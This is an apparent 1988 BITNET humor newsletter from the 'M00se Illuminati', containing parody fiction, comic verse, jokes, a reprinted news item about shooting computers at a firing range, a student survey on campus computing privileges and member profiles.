didn't quite pass. Twelve black and white cows with steaming breath and sad
eyes huddled together close to the fence. The cows stared at m00se, their
breath frosting the fur on their foreheads. M00se stared back at them. One of
the cows flapped its ears. Then another cow flapped its ears. M00se flapped his
ears experimentally, searching for the cows' meaning.
'Hello,' he called to them, but the cows didn't answer. They stood,
steaming and staring, ears flapping, looking very sad.
'Merry Christmas,' M00se called. The cows did not wish M00se a Merry
Christmas.
'Happy Chanukah' he said, though Chanukah was almost two weeks past. The
cows did not answer him."
(Poor,poor m00se.)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< Here is that other, rather brilliant contribution by Salmon M00se and
Goblin_m00se. >>
Transcriber's Note: All of our comments will be enclosed in [brackets].
Recently published in a nameless newspaper of ill repute was the following
Article: [TrashyFacts: More people read the National Enquirer than any other
publication!]
UNDERWATER BL00PING FULLY EXPOSED!
[Fully exposed? That sounds rather RUDE, doesn't it?]
The information contained in this article was found in the safe of the
late Doctor Frood, of the Link0ping Institute in Sweden, after his death.
Doctor Frood was found dead in a locked bathroom, in a tub filled with
chocolate m0usse. Nearby was found a calling-card bearing an odd pyramid, with
the initials S.M.S. printed underneath. Also found in the vicinity were 5,000
crushed kiwifruits. Authorities are baffled, but Inspector LeStr00de of
Scotland Yard insists that the culprits are a terrorist tourist troop from
Taiwan. [If they only knew! Heh heh heh]
THE PRACTICE OF UNDERWATER BL00PING
By Dr. Vroomfondel Frood
What is Underwater Bl00ping? The Art of Underwater Bl00ping was
discovered in the quaint little village of Farmington, Connecticut, in the
United States of America. This practice, shunned by most Americans, is a
secret rite practiced by an underground organization, of which this researcher
has found extremely little information.
In point of fact, the practice is not only shunned by most individuals, it
is relatively UNKNOWN - a fact which points to the conclusion that this secret
society is a mind-bogglingly large organization filled with the most devious
individuals, all bred to superhuman abilities.
It is these abilities which make underwater bl00ping possible - but these
powers are not visible to the normal eye. Never have I encountered any sort of
signal whereby the members of this society may make themselves known to each
other - but nevertheless, apparently THEY can tell the difference between a
normal human being and one of their own terrible kind.
In my researches at the Miskatonic University, located in Massachusetts, I
found amongst the fragmentary Pnakotic Manuscripts a reference to this
practice, mentioned in conjunction with, of all animals, the moose. The passage
reads as follows:
ORIGINAL PNAKOTIC TEXT TRANSLATION
Ichi ya fernandop00, Of the great god Fernando Poo,
Zum bagel lox The skalds of old wisely refrain
et kreemcheese t00. to sing.
Khargle alkazeltsur ickkity-ack, For if they do, their stomachs
Pleah, mitzvah barbell distend and they do fart
destroyeth plaque. violently unto their deaths.
Yippi-kiy-yiy-burgerking Nevertheless, there (are) those
Barbi-queued twinkies whose whispers He will suffer,
hys praysez sing. those of the dark Underground.
Yoo luk mahvelous, In their secret rites, that
zi lectroids bl00p, Bl00ping which they do,
Io Grand M00se P00bah The Grand P00bah M00se presides
Leviam00se goeth plaid. and they all went home for tea.
As the reader can plainly see, this passage hints at even darker
possibilities, more terrible than even the original translator of the Pnakotic
Manusctipts, L. Howard Phillips, had guessed.
For the signs of these rites can still be seen today! This Bl00ping is
carried out even as I write! Around the nation, and perhaps even the world,
people congregate and perform these dark rituals! And what of the moose? Where
do they fit in? And yet, the common person on the street knows naught of this
matter. This researcher walked up to 97 people and pronounced the secret word
"Bl00p". Ninety-six people showed no useful reaction. The ninety-seventh, a
policeman, arrested the researcher. Perhaps even the police have been
infiltrated? It cannot be said at this time.
The President of the United States of America, when asked if he had any
knowledge of this matter, replied: "Well... as President of this great nation,
I can assure you that lima beans and Twinkies continue to be this country's
greatest resource. If it were not for our country, our nation would not be
where it is today."
Although these Bl00pers are clever, there are some methods of detecting
their actions. The following paragraphs record actual eyewitness accounts of
chance discoveries of the rituals:
LANSING, NEW YORK: It was horrible! I was standing in the
supermarket check-out line, buying food to bring back to my
camper, when two women bl00ped at me! I declare! It frightened
me so much that I dropped my eggs right on little Bobbi-Jo!
SOMEWHERE, MASSACHUSETTS: Verily, I tell thee, 'twas not more
than twelve feet away from me! I could not believe mine own ears!
An entire throng of people shouted, "BL00P"! Sixteen tents then
collapsed!
GNOME, ALASKA: I was walking along, worried about my new lipo-
suctioned nose, wondering if I looked as dashing as Sean Penn,
like the doctor said I did, when a whole lodge of them, dressed as
tourists, Bl00ped! The ice cracked, and I fell into the water.
My nose got so cold that it swelled back up to its original size!
I was crushed! Hey, are you herring what I say?
Further documents reveal that Underwater Blooping are generally held in
reservoirs. It is with this practice that the members of this secret society
find their greatest...
(We are sorry to announce that this work was not completed due to the
untimely death of its author. Dr. Vroomfondel Frood was found in his bathtub,
pummeled to death by 5,000 kiwifruits. The Swedish Coroner's office has marked
his death as "Due to Natural Causes".)
- Transcribed by
SalmonM00se & Goblin_m00se
--------------------------------------------------------------------------------
*************************** MISCELLANEOUS NONSENSE *****************************
--------------------------------------------------------------------------------
<< From Salmon M00se. >>
Q. How many M00ses does it take to change a light bulb?
A. None. They'd prefer to keep people in the dark.
--------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
--------------------------------------------------------------------------------
Will follow the issue.

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DDDD R R OOOO P P IIIII N N GGGG SSSSS
A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #21| Disclaimer: The Editors will place almost anything | Feb. 9, 1988
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame them for the quality or content of the submissions.
Excepting those they may have written themselves, the enclosed items do not in
any way represent the Editors' opinions. In fact, let's be real safe, and say
that as far as this newsletter is concerned, they have no opinions at all. OK?
================================================================================
--------------------------------------------------------------------------------
***************************** TABLE OF CONTENTS ********************************
--------------------------------------------------------------------------------
<Sheesh.... ask for submissions, and that's what ya get! Normally, our issues
won't run this long... Since this is 17 pages, you might wanna print it out
instead of reading it at your terminal... Sorry! 8*) >
FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD
--------------------------------------------------------------------------------
**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Salutations & bl00p one and all!
Well, as it's our first issue (Yowzah!) and we is not known by all
soooo... a simple introduction would be in order. Hmmm, how does this
"intro" stuff work... Oh yeah!
-Goblin/(hobgoblin)
(aka Lisa Withall)
(scaka Morgana of York)
-SalmonM00se
(aka Jeff lee)
(scaka Godfrey de Shipbrook)
We are pleased to take over while his August Antlership, Pickle, is on
Sabbatical...
And now, a little about ourselves, to those of you who don't yet know
us...
Goblin: I am an ongoing student of the great belief that somewhere lives
the home of a great tribe of beings responsible for all the homework
assignments that were never handed in. The reason for life? Well that Lima
Beans may be purged from the Universe. Political views? Well Bill the Cat is
the only candidate for any office. Religion? I worship Hostess Twinkies.
Life form? Half human, half Goblin... Status? Alive I think...
SalmonM00se: hmmmm... Well, if you all don't know me from the annoying
messages I keep sending... Anyway. Mundane life is pretty boring, having
just changed majors from Music Ed to Computer Science. Most of my free
time is taken up by the SCA. (Goblin is berating me for being serious,
so now for something *completely* different.) Favourite Saying: "Do not
meddle in the affairs of cats, for they are subtle and will piss on your
computer." Political views: As long as the elections in the USA are run
as mudslinging popularity contests, I hold truck with no party. Oops,
I guess that's serious. So: Religious Views: See the Hitchhiker's Guide
to the Galaxy, under the entry "Theories, Universe, Creation of".
Life Form: yes. Sex: yes. Hair: yes. Eyes: two. Creation Date: 11/4/66
--------------------------------------------------------------------------------
******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
According to our sources, *nothing* officially happened recently. (Apart from
the change in M00se Droppings editorship, which you know about anyway.)
- - - - - - - - - - - - - - - - - - - -
The earth has rotated approximately once in the last twenty-four hours.
- - - - - - - - - - - - - - - - - - - -
From Alacrity...
Newsflash: m00se reports sighting of rare and elusive Scamp
Good evening ladies and gentleman, Tom M00seaw here for NBC nightly
news. Rumor has it that a m00se by the name of CHAOS Engineer saw, much
to his shock and surprise, the a rare and elusive Scamp logged on to the
node Sunrise. It is reputed that Scamp was reading her mail. These rumors
have not yet been corroborated, but momentarily we expect to hear from our
roving correspondent Roger M00se, who is with Mr. Engineer. Roger-
Thanks Tom. I'm here on the Siberacuse University Campus with a
Mr. CHAOS Engineer, who claims to have seen Scamp logged on. Mr. Engineer,
would you care to comment on this claim?
Duh, sure. I, uh, think it was her, but I uh, don't really know.
It's been so long ya know. Could'ah been RATANTS mebbe, but I think it
was RETANTS, but like I say, can't be sure...
Well, there you have it Tom.
- - - - - - - - - - - - - - - - - - - -
According to our sources, the Mega-Thr0ng-A-Thon will occur at the next
planetary conjunction. M00ses wishing otherwise should elect a MTaT
co-ordinator in their area. The co-ordinators will then be able to discuss
the MTaT with each other. Other suggestions are welcome as well.
--------------------------------------------------------------------------------
***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
And now, the long-awaited Part IV to SuperM00se! (If you want the other
parts, or in fact any earlier issue of M00se Droppings, send a message to
me at LEE_JES@CTSTATEU.)
***-> The Adventures of Super-M00se <-***
--- ---------- -- ----- -----
Greetings Superm00se fans. Please note that following is episode
four of the adventures of Superm00se. I apologize for the long interval
between this installment and the last, but my life as a student (GAH!!) did
not allow me time to be creative (Engineering dulls the brain) and as such
I am limited by my infrequent spurts of particular mental insanity which allow
me to produce such material. I hope that there will be more episodes on a
regular basis, but I cannot guarantee them. Enjoy....
CHAOS Engineer aka
Expletive Deleted,
the Left hand man of a monarch of no great import
Forward- All that follows is pure fiction and fallacy, with most rip-offs
being done on purpose. All puns on purpose and all violations
acknowledged. Any resultant health problems due to reading
these episodes are not the responsibility of the author.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
A gentle breeze wafted through the trees, carrying the fresh pine
scent with it. The foot steps of the lone figure were punctuated only by the
quiet crunching of the carpet dead needles. Cresting the hill, the forest
ended and gave way to a small clearing over looking a valley. The rush
of a spring river could be heard below.
"Ahhh...." sighed Mark to himself as he sat down. "So good to
get home for a week and enjoy the mountains." Mark unslung a large back
pack he was wea-
We interrupt this Idyllic Interlude to bring you an
important news flash. Earlier today the Velveeta
Vermin perpetrated the robbery of the First
National Bank of Gothopolis, and made good his
escape with five million dollars. The Vermin was
assisted by his gang, the Processed Cheese Food
Irregulars. If you sight these villains, you are
advised to call the police at once then hide any
and all crackers you have in your house for their
own protection. We now return you to your
previously scheduled piece of peace. Thank You.
Mark stood up bolt straight, and stared out at the sun, unfocusing
his eyes until he saw a bespectacled, blonde-haired man in desperate need
of a shave hunkered over a VT240 terminal.
"Hey, you can't do this! You promised me a vacation!"
The blonde-haired man smiles, and types "I lied."
"You still can't do this. I'll call the sysadmins and get them
to lock your account. What'll you do then, smart guy?"
The blonde-haired man smiles even wider. "You'll do no such thing.
I'll take away your disk space. What'll YOU do then, smart guy?"
"Ok, ok... A working vacation, all right? But you gotta promise,
I'm back here at the end of this adventure."
The head nods, and unseen by Mark, has his left hand under the table
with the fingers crossed.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Mark walked in and tossed his trench coat onto the back of the chair,
negligently dropped his brief case next to it and made a bee line for Cherri
Redding's office. A rap on the door was followed soon by a 'come in', and
Mark entered the office and closed the door behind him.
"Mark, good to see you. Sorry I had to cut your vacation short,
but Lou is on assignment in Hawaii (Hawaii!, thought Mark) and I need a top
notch reporter on this bank robbery thing, sooo....." Cherri smiled, and
spoke pleasantly, but remorseful undertones snuck in.
"Sure, no problem. It's not like I was doing anything important."
Mark half grumbled, half mumbled in reply.
"I'm really sorry Mark. I promise I'll make it up to you." Cherri
stood up, and walked over behind Mark, put both her hands on the sides of
his face, tipped his head back, and kissed him lightly on the forehead,
then walked out of the room. Mark sat a moment, sighed, then got up and
left Cherri's office and went back to his desk to get started on the story.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
The small windowless room is brightly lit, the sparse but opulent
furnishings covered with a yellow gooey substance. There is a large poster of
a Holstein wearing sunglasses on one of the walls. The steel door is closed,
but the last person out forgot to turn off the radio. A fly buzzes about,
flitting from chair to chair, examining the mess as only a fly can. The
muffled sound of voices precedes the door being flung open violently. In
strides a man sized being, all dressed in yellow with a white oval on his chest
that is embossed with a stylized dark blue 'V'. His features are obscured by
something yellowish. He is the Velveeta Vermin (quick, hide the crackers!).
Following him are four yellow oozing blobs, vaguely humanoid in shape, but only
vaguely. They are The Processed Cheese Food Irregulars, the Vermin's cronies
and partners in crime.
"Duh, gee boss, dat wuz great. Whadder we goin ta do wid all dis
loot?"
"Shut up!" snapped the Vermin. "I'm thinking"
"Ooooooh Boss. I think zat ve should go to Rio. I've always wanted to
go to Rio" whined one of the blobs in a nasal twang reminiscent of Peter
Lorre.
"All of you shut up! Just shut up! The bank robbery was a lure for
Superm00se! I'll lure him here then kill him! Yes, I will!" The Vermin's
voice had the hard edge of a maniac on the verge of a break down.
%%%%%%%%%%%%%%%%%%%%%%%%%
A short, compact man stood on the corner of 5th and Main, two blocks
down from the First National Bank of Gothopolis, covered in a yellow goo, his
once recognizable brown and orange costume now almost totally obscured.
A steady stream of obscenities issued from his mouth, punctuated every so often
with the phrase 'need a brewski'. The man walks down the street a bit further,
arriving at a convenience mart. He enters and a short while later returns to
the street with a six pack of Piels in his hand. One beer is taken from the
pack. A barely audible 'snikt' precedes the top of the can be cleaved off by a
razor-sharp piece of adamantium. The beer ends its brief existence in five
seconds. The empty can is crumpled in hand and dropped to the ground.
The next block up, a late model pink Cadillac El Dorado convertible
is seen to zooming bye by the goo covered man. He emits a LOUD belch. A
screech of tires can be heard. The caddy comes back into view, and turns up
the street coming towards the man, and stops in front of him.
"Urp!"
"Rough day Wolvie?" queries the car's driver, a tall thin man in a
positively hideous polyester leisure suit.
"*Belch*. Rough??? What's it look like bub? I couldn't even cut
this stuff with my claws!" he says, pointing the mess all over himself
The driver whistles softly as his eyebrows attempt a moon shot.
"Well, let's get out of here, but first, we've got to do something
about your clothes. That yellow goo would simply ruin the upholstery."
The driver pulls an odd looking pistol from the glove box.
"What's that?"
"Leisure suit ray. Turns anyone's clothes into a cheap polyester
leisure suit."
"Positively fiendish."
"I know" replies the driver as he points the gun at his gooey
companion and pulls the trigger. He now stands appareled in an off yellow
leisure suit.
"The color is lousy"
"Yeah, I know. That's the one bug I haven't worked out yet."
The yellow suited chap proceeds to get in the car which then zooms
away.
%%%%%%%%%%%%%%%%%%%%%%%%%%
Superm00se sat on the veranda breathing heavily, covered in a thick
heavy yellow goo, having narrowly escaped death at the clutches of the evil
and vile Velveeta Vermin. The Vermin was now at Superm00se's feet, securely
bundled up in tin foil.
"Hey, wait a minute, you can't do this! This is supposed to be a cliff
hanger serial. You can't do this!"
The author smiles again, not in need of a shave as much as before, but
still sporting a few days growth. He types
"You still don't understand, do you silly m00se? I'm the author, I can
do ANYTHING I want to you. I'm the AUTHOR!"
"That doesn't matter! You started out with the concept of a cliff
hanger serial. You must remain within the pre-established boundaries you
yourself set."
"No I don't. I may do whatever I wish. You are subject to my every
whim. Period, end of discussion."
The seated figure then proceeds to execute a <CTRL-Z> and exits the
editor and prepares to hit the spell checker.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Stay tuned for the next installment when a Plot Continuity Restoration
Device (NOOO!!!! not a Plot Continuity Restoration Device) will be implemented.
- - - - - - - - - - - - - - - - - - - -
The Prophecies of Nostradam00se
by Anonym00se
Recently, the need arose for me to travel to Spain to research a
paper on the horse of Don Quixote. One day, while I was researching in
the Alfonso el Sabio library at the University of Numancia, I rose to get
a glass of water, but tripped over the table leg, and crashed into a shelf
full of biographies of Pablo Picasso. When I came to, I saw that the bookcase
had been slightly moved to expose a secret door.
I managed to gain entrance. Using my trusty flashlight, I made
out stacks and stacks of old (I mean OLD) books. On top was a thick manuscript
bound in red leather and tied up with a black ribbon. Beneath the ribbon
was a note: "A Padre Sanchez, de Torquemada. Quemalo inmediatamente!" (To
Father Sanchez from Torquemada. Burn this immediately!) Burning with
curiosity (as I would certainly have been if Torquemada was still around),
I slit the ribbon and opened the book. After reading the first few pages,
I realized I was reading a set of profound predictions about the world.
I managed to find some notes on the book in Torquemada's hand.
Apparently, the versified predictions were written by a monk of the order
of Luis Obispo named Nostradam00se. He lived in the mid 1400's in Andorra.
However, one of the monks of his small abbey (which took up most of the
acreage of Andorra at the time) got jealous of his prophetic power and mailed
a copy of the verses to Torquemada. Torquemada skimmed the work and
immediately ordered Padre Nostradam00se barbequed. Luckily, his work escaped
the bonfire.
I returned to the States with the book and translated the verses into
English, trying desperately to keep rhyme and meter (not always succeeding).
After translating the 13042 quatrains, I submitted them to scholars of medieval
prophecy and verse at M00sekatonic University in the Boston area and the head
of the m00sic department at the University of Southern North Dakota at H00ple,
who is trained in interpreting obscure verse. While these scholars have not
yet managed to interpret these verses, they have determined that the following
four quatrains refer to 1989. They have promised to give me a report as soon
as I have it, which I shall in turn pass on to the M00se Droppings.
1. The greatest of cats shall prowl in the street,
Awaiting the turns of the trump.
The road of the walls show kneel at his feet,
And give him a great, golden lump.
2. Out of the barrels cucumbers shall leap,
And into the sea shall be tossed.
A quiver of arrows up river shall creep,
As books of the numbers are lost.
3. The son of physician alone shall now ride,
On journeys unto a far place.
But soon the vacuum the boy shall abide,
For cursed is the sight of his face.
4. The year of the Penguin shall bring a great day,
That only the Lion shall know.
The sea and the sun and the moon far away
Shall bury the grass beneath snow.
--------------------------------------------------------------------------------
*************************** M00SCELLANEOUS NONSENSE ****************************
--------------------------------------------------------------------------------
<This piece was sent over with no indication of who actually submitted it.
Sorry, whoever submitted it. We're conf00sed....>
From: V067PXNR@UBVMSD
Description: Mahn-mahn-ha-ha-HA-HA-HA-HA-HAAAAAAN!
YOFLAN debarkal syngrog de fwatz encromber, ambreg mo wolna frenkel.
Dohume fra crabble hone, buhn secim los mynka. Grokle mon bubis honkoge??
Pukef jelk pamble hoggen!!!!!HAHAHAHAHAHAHA!!
DON'T YOU GET IT?!
PUKEF JELK P A M B L E HOGGEN!!!!!
HA HA HA HA HA HA HA HA HA HA ha - snif-ha ha- snif- chuckle-ha--
PAMBLE HOGGEN!!!!!! OH, HA HA HA HA HA HA HA HA HA HA
Y E A.
YOW-
- - - - - - - - - - - - - - - - - - - -
From Goblin: (Funny how things turn out... When I sent this in to Pickle,
I had no idea I'd be putting it in myself!)
A GENETIC ODE
(or A Melan Coli Tale)
I used to be a coli, as wild as wild could be.
They called me Photo Trophic, whatever that would be.
They kept me pure and simple and completely free from faults
And fed me on the simplest food...glucose and common salts.
Then Lederberg and Tatum came and put me in the sun
And watched me very closely to see what harm they'd done.
Although they hadn't killed me, they had really hurt my pride
And though I looked quite normal I was quite upset inside.
Next day they tried to feed me with my normal sort of food
But they found I couldn't use it in the way I always could.
Glucose I could metabolize-in that I was proficient.
But in synthesizing valine they soon found I was deficient.
They couldn't find their valine so they went to biotin
And till they thought just what to do they kept me dietin'.
Then foresight and discernment made this lecturer and Prof.
Enrich my food with Oxa cube and call me Oxo Troph.
They called another doctor and they all discussed my case.
And decided that my DNA must have displaced a base.
They all seemed quite excited and I heard Doc Tatum say,
Another dose of sunshine might upset more DNA.
They gave me 80 seconds of the brightest light I'd seen,
And I knew a UV photon had displaced another gene.
I remember seeing Lederberg- eyes gleaming through his specs
Excitedly tell Tatum that I'd now acquired a sex.
Then Lederberg asked Tatum if he could foretell my fate
And Tatum thought my only hope was to acquire a mate.
So they gave me you, dear Effplus, knowing you alone could right
The little bits of DNA that suffered in that light.
There's just two things I ask you if you really care for me
One little gene for valine- one for fertility.
Your genotype's just perfect to revitalize my strain
And I know you will co-operate to make me wild again.
Be warned O Human Beings by this melan coli ode
You who think you are so clever cracking our genetic code.
There's a moral in this story- I will tell you what it means:
IF YOU STRIP TOO MUCH TO SUNBATHE,
YOU MAY LOSE A PAIR OF JEANS.
The above poem was obtained from the Dept. of Bacteriology, Univ. of Wisconsin.
(of course without their permission..)
- - - - - - - - - - - - - - - - - - - -
<This one's from the Martins at Wesleyan....>
From the N.Y. Times, w/o permission:
The annual Spring Comdex computer show in Atlanta earlier this month
meant a booming business for the Bulletstop, an indoor firing range in
suburban Marietta where customers can rent firearms and bullets to
shoot anything they please, as long as it is already dead and fits
through the doors. The Bulletstop gave Comdex visitors a chance to
vent their frustrations by venting PC's, printers, hard disks,
monitors and manuals with lead.
Paul LaVista, the owner, said about 10 groups of high-tech types came
in during the Comdex show. "I'm not a computer whiz, but one group
brought in what looked like a hard disk and blasted it," he said.
"Another bunch brought in some kind of technical manual. The thing was
enormous, about 2,000 pages. They rented three machine guns -- an Uzi,
an M3 grease gun and a Thompson -- and when they were done it looked
like confetti."
"It must have been quite a show," LaVista said of Comdex. "Doctors
and computer types usually have a lot of pent-up anxiety, but these
folks were dragging when they came in. When they left they were really
up. The range looked like a computer service center after a tornado."
LaVista said PC's were popular targets year-round. "People are
frustrated with them," he said. A year ago seven or eight men carried
in a giant old Hewlett-Packard printer. "I ran an extension cord to
it, and just as it started to whirr and spit out paper, they blasted
it," he said.
--------------------------------------------------------------------------------
****************** SERIOUS STUFF (This won't happen often) *********************
--------------------------------------------------------------------------------
<A survey from Heresiarch, who would be most grateful if you could fill this
out and send it to the address mentioned within the text.>
note: this survey is primarily interested in computing privileges
for all users. for instance, if you are a comp sci major with the keys to the
sun ring or a chem major with your own vax, your answers won't be as useful as
if you were joe student, english major, with a cramped account on the academic
mainframe. thanks for your help. i owe you lots of backrubs. collect them
the next time you're in middletown, ct. especially if you're cute and male.
bl00p.
==============================================================================
This is a survey of the rights and privileges of users at various schools
across the country. Please fill it out, and send it to
RFREUNDLICH%EAGLE.WESLEYAN.EDU@WESLEYAN.BITNET
(or RFREUNDLICH@WESLEYAN.BITNET, if you don't like to type a lot)
(or just RFREUNDLICH@EAGLE.WESLEYAN.EDU, if you're on internet)
If you know a user at another school who would be interested in taking part in
the survey, please forward him or her a copy. The more people get this, the
better the results will be.
Here goes:
What is your name (real life, not username)?
What is your username?
What is your Internet (Arpanet) address?
What is your Bitnet address?
Do you want a list of compiled results?
What school are you from?
What kind of system is your mainframe (hardware and OS)?
Please put an X in the appropriate column:
U=Undergrads
G=Grad Students
F=Faculty
S=Staff
A=Administration
C=Computing Center Staff
W=Students who work for the Computing Center
O=Members of the local community
U G F S A C W O
1)Who can use the system at your school? .....................
2)Who has to pay for use of the system (if anyone)?...........
3)Who has network privileges (ie telnet, FTP, etc)?..........
4)Who has access to a draft printer? .........................
5)Who must pay for such access?...............................
6)Who has access to a letter-quality printer?.................
7)Who must pay for such access?...............................
8)Who has access to a laser printer?..........................
9)Who must pay for such access?...............................
10)Who has access to permanent storage (ie tapes)?............
11)Who must pay for such access (per use, or initially)?......
12)Who is allowed to word-process small documents, for
example a small paper, on the mainframe?..................
13)Who is allowed to word-process large documents, for
example a term paper, thesis, or journal article,
on the mainframe?.........................................
Answer Yes or No:
1)Can you set up a file in your account so that other users can
access it?.....................................................
2)Is TALK supported on your mainframe?............................
3)Is PHONE supported on your mainframe?...........................
4)Can you interactively send messages to users on other systems?..
Give the requested information:
1)What mail system does your school use?
2)If a user is suspected of violating Computing Center policies, is s/he
innocent until proven guilty or guilty until proven innocent? Or something
else, and if so what? For example:
At AnySchool, users have access to a work area called SCRATCH. All files
in SCRATCH are deleted several times every day, except for those belonging
to users who are currently logged in. Thus a student can work in SCRATCH,
which has lots of space, and then when finished, copy everything to
his/her own directory. JSMITH has been working in SCRATCH, and
accidentally leaves him/herself logged in, thus preventing his/her files
in SCRATCH from being deleted.
Big Brother (someone from the CC) sees this, and thinks JSMITH might have
done this intentionally to effectively gain more disk space. If your
school were AnySchool, would Big Brother
a) Call JSMITH up on the carpet, yell at him/her, make threats about
revoking privileges
b) Give JSMITH the benefit of the doubt and assume the transgression was
accidental
c) Do something else, and if so, what?
3)If a user is suspected of a violation, will s/he be notified before any
action is taken against him/her? Or will s/he not know it until, say s/he
tries to log in and isn't allowed to? Or will there be some other action,
and if so, what?
4)How are questions from users about the system treated? For example, if a
user wanted to know the meat of how something worked, and asked a CC
administrator, would s/he get
a) acknowledgment of the question but "polite" refusal to answer it
b) acknowledgment of the question, but "I can't answer that, and
here's why"
c) acknowledgment, and "I can't tell you but here's who can"
d) acknowledgment, and "OK, i don't want to tell you but you have the
right to know, so here it is"
e) acknowledgment, and "WOW, I'm glad you asked that! Here's how to
do it and let me know if you need any more help!"
f) total lack of acknowledgment of the question
g) "please stop annoying me, you stupid user"
h) kicked off the system
i) total lack of acknowledgment, and the item in question disappears from
public use (ie "wow, could users actually *do* that? how'd we let that
happen? better take it away")
j) some other response (specify)
5)What about suggestions from users? "Hey, it'd be neat if we could ..."
Anything else you'd like to so about your system? ie neat things you can do;
really neat things you'd like, but don't have; etc.
In case you're wondering, here's why I'm doing this. The Wesleyan Computing
Center Administration is horrible. I am writing this in one of the most
user-hostile environments I have ever seen or heard of. The incidents
mentioned as examples have actually happened here. The SCRATCH student was
yelled at and threatened before given a chance to explain (even before he
realized what he had supposedly done!).
A student suspected of a violation (one which had occurred 2 months earlier)
graduated, and, expecting an alum account, tried to log in. She was denied the
account, without notification. Students hearing only her side of the story
were outraged. When an administrator finally had the chance to present the
other side of the story, it conflicted with hers. We tried for several weeks
to arrange a meeting where both sides could air their opinions and state what
they thought had happened (and been said). The administrator waffled for
awhile, pontificating the whole time about how he wanted good relations
between the WCC and students, then turned down the meeting. She still doesn't
have her account.
When we upgraded to VMS 5.0-1, Digital sent TALK along with it. TALK, if you
don't know, allows users on different systems (or the same system) to
interactively communicate. A week later a student sent a question to the
sysmanager about TALK. The next day TALK was completely gone from the system.
No help file, no EXE file, no reply from the sysmanager, no nothing.
I could go on, but I think you're getting the point. Our complaints are not
going to change anything unless we can shove data under their noses that says
"Look, you morons, here's how it happens *everywhere* else!" Even then, it may
not work, but it's worth a shot.
Like I said earlier, the more data we have, the more accurate the results will
be. So please, please, please fill this in, and also forward it to anyone you
know anywhere else who'd be interested in helping. I'd like to compile the
results during our Spring Break (2nd week of March), so if you can get your
answers to me before then, it'd be really helpful. Also, if you've got any
ideas, hints, suggestions on how to deal with idiocy, or if you've got similar
problems you'd like to air, send 'em to me (separately from the survey. it'll
make my life easier). Thanks a lot.
\,,/,
' Rob
--------------------------------------------------------------------------------
******************************* ASK THE ORACLE *********************************
--------------------------------------------------------------------------------
This new column has been submitted by Hal Eisen. Unfortunately, the sheer
volume of his sending has made it necessary for us to only include a FEW
of his best. If you have any similar examples of ORACLE's output, send them
to him at <INS_AHJE@JHUVMS>.
Where, oh where has my little dog gone?
The Oracle has answered your question as follows:
He probably fell through a trap door.
er--this *was* a Hack question, wasn't it?
- - - - - - - - - - - - - - - - - - - -
Wouldn't you rather be mating?
The Oracle has answered your question as follows:
Mating? MATING? I realize that this is Hopkins, and that not only
are people clinical science-types, but that they are also desperate
for decent members of the opposite sex, BUT STILL could you at least
make it sound as though you're not talking about putting two research
subject rats in a box with a Dire Straits record on and letting them
go at it?
That said... so, come here often? What's your sign?
- - - - - - - - - - - - - - - - - - - -
Give the 5 best reasons for NOT going to class...
The Oracle has answered your question as follows:
1) I'd rather sleep
2) I'd rather sleep
3) there is NO reason #3
4) The professor spits too much
5) The phone is ringing
- - - - - - - - - - - - - - - - - - - -
What's the 47th word in Douglas Adams' Hitchhiker's Guide to the
Galaxy?
The Oracle has answered your question as follows:
Now let me think, I read that book just before my third 'gargleblaster.
- - - - - - - - - - - - - - - - - - - -
it's stream of consciousness time: I'll say a phrase, you type the
first thoughts to come to mind. Here goes...
President Quayle
The Oracle has answered your question as follows:
^Z
- - - - - - - - - - - - - - - - - - - -
Is suspense dead?
The Oracle has answered your question as follows:
I'll tell you tomorrow...
- - - - - - - - - - - - - - - - - - - -
What good is the skink?
The Oracle has answered your question as follows:
Thke skink iks verky gookd ifk kyou like to waskh dishkes in itk.
--------------------------------------------------------------------------------
****************************** MEET THE M00SES *********************************
--------------------------------------------------------------------------------
The SHORT form of Pickle's ID file:
^
Mm/ \mM
/ O \
/ \_/ \
/_______\
THE OFFICIAL BILL DICKSON CHAPTER OF THE M00SE ILLUMINATI OFFICIAL ID CARD
NAME: William R. Dickson (Bill, Bill the Cat, Pickle, Moon Roach)
SPECIES: White American male. PURITY QUOTIENT: 79.4%
DESCENT: Scottish, Irish, teensy bit of Italian, Lots of other stuff.
DIMENSIONS: 5' 11 3/4" (Never did quite make it) by 145 lbs.
DESCRIPTION: Average height. Average build. Blue eyes. Hair appears to
fluctuate between normal brown and slightly red. Glasses, vision
20/30. Hair medium length. Braces for the next 11 months.
AGE: 20. BIRTHDATE: February 11, 1968. RELIGION: Devout agnostic.
MAJOR: English, concentration in writing. Political science minor.
EMAIL ADDRESS: Dickson@Hartford
FAVORITE QUOTE: "I had no shoes, and I pitied myself. Then I met a man
had no feet, so I took his shoes."
-Dave Barry
FAVORITE ANIMALS: Cats. LEAST FAVORITE ANIMALS: Twelve-foot piranha bees.
ACTIVITIES: Whitewater canoeing (solo, in an open slalom boat); theatre;
playing with my computer; roleplaying and semi-roleplaying games;
models; flying kites; reading.
THINGS I FIND TRULY LOATHSOME: Young children.
- - - - - - - - - - - - - - - - - - - -
AN INTERVIEW WITH PICKLE
M00SE DROPPINGS: Good morning.
PICKLE: It's 1:30 in the afternoon.
MD: What prompted you to start the "M00se Illuminati"?
P: Well, though he and most other people who were around at the time deny it,
I'm pretty sure it was Dave Tarr. There are rumors that I am a clone of
Dave Tarr. So maybe I prompted myself. But I'm not sure.
MD: Why "M00SES"?
P: Because Chris Phillips liked m00ses. I think he's switched his preference
to armadillos recently, but it was m00ses back in '84. What Dave Tarr
actually did (though he denies it) was to suggest a merger between
Chris's fascination with m00ses and my fascination with secret societies,
which had developed after I read _Illuminatus!_. I think he was trying
to consolidate the madness a bit.
MD: Who ARE the M00ses, exactly?
P: Well, we all are. We are all m00ses. And I am one of your founders.
